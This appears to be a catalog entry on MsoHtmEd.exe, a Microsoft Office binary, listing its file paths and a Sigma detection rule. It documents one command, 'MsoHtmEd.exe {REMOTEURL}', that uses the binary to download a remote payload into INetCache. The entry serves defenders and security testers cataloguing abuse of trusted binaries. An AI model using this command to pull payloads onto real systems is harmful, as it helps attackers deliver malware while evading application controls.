MsoHtmEd.exe

type: OtherMSBinaries

Microsoft Office component

Full path

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache.
```
MsoHtmEd.exe {REMOTEURL}
```
Downloads payload from remote server
os: Windows 10, Windows 11
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml
IOCSuspicious Office application internet/network traffic

acknowledgement: Nir Chako (Pentera) @C_h4ck_0